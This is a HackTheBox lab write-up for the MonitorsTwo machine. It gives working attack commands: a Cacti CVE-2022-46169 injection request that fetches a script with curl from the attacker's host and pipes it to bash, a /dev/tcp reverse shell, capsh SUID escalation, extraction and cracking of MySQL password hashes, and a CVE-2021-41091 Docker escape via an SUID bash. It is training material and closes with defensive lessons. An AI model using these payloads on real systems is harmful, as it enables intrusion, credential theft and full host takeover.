MonitorsTwo - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

MonitorsTwo showcases a multi-stage exploitation chain targeting a vulnerable Cacti web application running within Docker containers. The attack begins with a pre-authentication Remote Code Execution vulnerability (CVE-2022-46169) leveraging a weak authentication bypass in the X-Forwarded-For header, granting initial access within a containerized environment. From there, privilege escalation is achieved through a misconfigured SUID capsh binary. The machine then pivots to the host system via MySQL credential extraction and password cracking, before finally exploiting a Docker engine vulnerability (CVE-2021-41091) that allows mounted container filesystems to be abused for privilege escalation on the host.

TL;DR: Cacti RCE (X-Forwarded-For bypass) → Docker container shell → Misconfigured capsh SUID → MySQL credentials → SSH access as marcus → CVE-2021-41091 Docker exploit → Root on host.

Reconnaissance

Port Scanning

# Initial full port scan
nmap -p- --min-rate=1000 -T4 10.10.11.211

# Detailed scan of open ports
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.211 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.211

Results:

Service Enumeration

HTTP (Port 80):

Browsing to the web server reveals a login panel for the Cacti monitoring service. The footer of the login page displays version information: Cacti 1.2.22. This version is known to be vulnerable to authentication bypass and remote code execution.

Vulnerability Assessment

1. CVE-2022-46169 - Cacti pre-authentication RCE via X-Forwarded-For header bypass

   • The /remote_agent.php endpoint has weak authentication validation
   • Uses user-controlled X-Forwarded-For header in get_client_addr() function
   • The poll_for_data action with polldata parameter is vulnerable to command injection via proc_open()

2. Misconfigured SUID binaries - capsh binary with SUID bit set inside container

3. CVE-2021-41091 - Docker/Moby vulnerability allowing mounted filesystem access by unprivileged users

Initial Foothold

Exploitation Path

Step 1: Verify the exploit works

First, set up a Python web server to test blind command injection:

python3 -m http.server 8081

Create a test request using BurpSuite to intercept the HTTP traffic. The vulnerable endpoint is /remote_agent.php which requires the X-Forwarded-For: 127.0.0.1 header to bypass authentication:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=%3bcurl+10.10.14.40%3a8081/test HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: 10.10.11.211
User-Agent: Mozilla/5.0
Connection: close

Send the request and verify the callback on the web server logs.

Step 2: Create reverse shell payload

Create a bash.sh file containing the reverse shell payload:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.40/4444 0>&1

Host this file on the same Python web server (port 8081).

Step 3: Set up listener and execute payload

Start a Netcat listener to catch the reverse shell:

nc -nlvp 4444

Intercept another request with BurpSuite and modify the payload to fetch and execute the bash script:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=%3bcurl+10.10.14.40%3a8081/bash.sh|bash HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: 10.10.11.211
User-Agent: Mozilla/5.0
Connection: close

Step 4: Stabilize shell

Once a reverse shell is received, upgrade it to an interactive TTY:

# Upgrade to interactive shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Further stabilization
script /dev/null -c bash
# Press Ctrl+Z
stty raw -echo; fg
# Press Enter twice

Privilege Escalation

Stage 1: Escape Docker Container

Step 1: Enumerate container

Confirm we are inside a Docker container:

ls -la / | grep dockerenv
# Output: -rwxr-xr-x 1 root root 0 Oct  3 08:00 .dockerenv

Search for SUID binaries:

find / -perm /4000 2>/dev/null | grep -v proc

Among the results, we identify the capsh binary with SUID bit set.

Step 2: Exploit misconfigured capsh

According to GTFOBins, capsh can be exploited to obtain root:

capsh --gid=0 --uid=0 --

We now have root access within the container.

Step 3: Extract MySQL credentials

Enumerate the web directory for configuration files:

cat /var/www/html/include/config.php

Extract credentials for MySQL service (typically root:root for local database).

Step 4: Crack database password hashes

Connect to the Cacti database:

mysql -h db -u root -proot cacti -e 'show tables;'

Dump the user authentication table:

mysql -h db -u root -proot cacti -e 'select username,password from user_auth;'

Save the password hashes to a file:

cat > hashes.txt << 'EOF'
$2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
$2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
EOF

Crack the hashes using John the Ripper:

john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

The marcus user’s hash cracks to: funkymonkey

Stage 2: Lateral Movement to Host

Step 1: SSH into the host

ssh marcus@10.10.11.211
# Password: funkymonkey

Step 2: Retrieve user flag

cat /home/marcus/user.txt

Stage 3: Host Privilege Escalation (CVE-2021-41091)

Step 1: Read security bulletin

The mail sent to marcus hints at relevant CVEs:

cat /var/mail/marcus

Three CVEs are mentioned. The relevant one is CVE-2021-41091 affecting Docker versions below 20.10.9.

Step 2: Check Docker version

docker --version

Confirm the version is vulnerable (< 20.10.9).

Step 3: Identify container filesystem

List Docker mounts on the host:

findmnt | grep docker

Return to the container shell and identify the filesystem:

mount | grep overlay

Note the container filesystem identifier (e.g., c41d58...).

Step 4: Access container filesystem from host

Navigate to the mounted overlay filesystem on the host:

cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
ls -al

Step 5: Create SUID bash in container

From within the container, copy bash and set SUID:

cp /bin/bash /
chmod u+s /bash

Step 6: Verify on host and exploit

Verify the SUID bash exists on the host:

ls -la /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/bash

Execute the SUID bash to gain root:

cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
./bash -p

Verify root access:

id
# uid=0(root) gid=1001(marcus) groups=1001(marcus)

Step 7: Retrieve root flag

cat /root/root.txt

Attack Chain Summary

Nmap Enumeration
        ↓
Cacti 1.2.22 Identified
        ↓
CVE-2022-46169 RCE (X-Forwarded-For Bypass)
        ↓
Reverse Shell as www-data (Docker Container)
        ↓
Misconfigured capsh SUID Exploitation
        ↓
Root in Container
        ↓
MySQL Credentials Extraction
        ↓
Password Hash Cracking (rockyou.txt)
        ↓
SSH Access as marcus
        ↓
CVE-2021-41091 Docker Exploit
        ↓
SUID Bash in Mounted Container Filesystem
        ↓
Root Shell on Host

Tools Used

Key Learnings

Techniques Practiced

• Authentication bypass through HTTP header manipulation (X-Forwarded-For)
• Blind command injection vulnerability exploitation
• Docker container enumeration and breakout techniques
• SUID binary exploitation using GTFOBins
• MySQL database enumeration from compromised systems
• Bcrypt hash cracking with wordlist attacks
• Overlay filesystem mounting and exploitation
• Privilege escalation through mounted container filesystems

Lessons Learned

1. Header-based authentication is dangerous - User-controlled headers like X-Forwarded-For should never be used as the sole basis for authentication. Use proper authentication mechanisms like tokens or certificates.

2. Command injection in system functions - PHP functions like proc_open() that execute system commands must never receive unsanitized user input. Use parameterized execution or strict input validation.

3. SUID binaries are privilege escalation vectors - Binaries with SUID permissions, especially those with complex functionality like capsh, can be exploited. Regularly audit and minimize SUID usage.

4. Docker filesystem isolation is not absolute - Mounted volumes and overlay filesystems can be accessed by unprivileged users in older Docker versions. Keep Docker engine updated and monitor filesystem permissions.

5. Defense in depth matters - This machine required multiple vulnerabilities to exploit: first the web app, then container misconfiguration, then database credentials, then Docker CVE. A single mitigation step could have stopped the entire chain.

6. Security bulletins should be heeded - The mail to marcus explicitly mentioned the relevant CVEs. Always investigate security advisories relevant to your infrastructure.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>